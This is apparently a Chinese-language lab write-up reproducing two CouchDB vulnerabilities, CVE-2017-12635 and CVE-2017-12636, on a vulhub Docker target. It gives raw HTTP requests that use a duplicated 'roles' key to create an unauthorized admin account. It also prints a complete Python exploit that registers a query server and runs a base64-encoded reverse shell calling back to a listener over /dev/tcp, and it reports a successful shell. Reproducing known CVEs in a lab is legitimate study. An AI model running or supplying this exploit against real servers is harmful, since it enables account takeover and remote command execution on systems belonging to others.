前言
这个漏洞是我复现最恶心的一个了,不多说了,老规矩,环境搭建地址
环境搭建
service docker start # 启动docker
cd couchdb/CVE-2017-12636
docker-compose up -d
垂直权限绕过漏洞(CVE-2017-12635)
访问http://ip:5984/_utils/
可以看到web页面,为了确保后面的命令是否有效,先创建一个管理员用户。
点击fix this后,创建管理员账号,用户名和密码都是admin
创建完成后,点击logout退出登录
这时候点击左上角的_users
,会弹出只有管理员才有权限查看
开启burpsuite,发送以下数据包后
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.127.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
返回只有管理员才能设置Role角色
发送包含两个roles的数据包,即可绕过限制
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.127.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
成功创建了用户名和密码均为:vulhub的管理员账户
回到couchdb管理面板,点击右下角的login,输入账户密码vulhub,可成功登陆
任意命令执行(CVE-2017-12636)
在这里跟这vulhub的复现没有成功,后来使用exp才成功的,感兴趣的可以直接去看vulhub的步骤,地址,这里讲exp的使用。
贴出exp
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.127.132:5984' # 靶机ip地址
# 反弹shell的ip地址和端口号,我这里反弹shell的ip为192.168.2.168 端口号为4444
command = rb"""sh -i >& /dev/tcp/192.168.2.168/4444 0>&1"""
# 访问http://ip:5984/ 查询版本
# couchdb版本=1.6.0 version=1
# couchdb版本=2.1.0 version=2
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
nc -lvp 4444,开启监听4444端口
python3 exp.py后,成功反弹了shell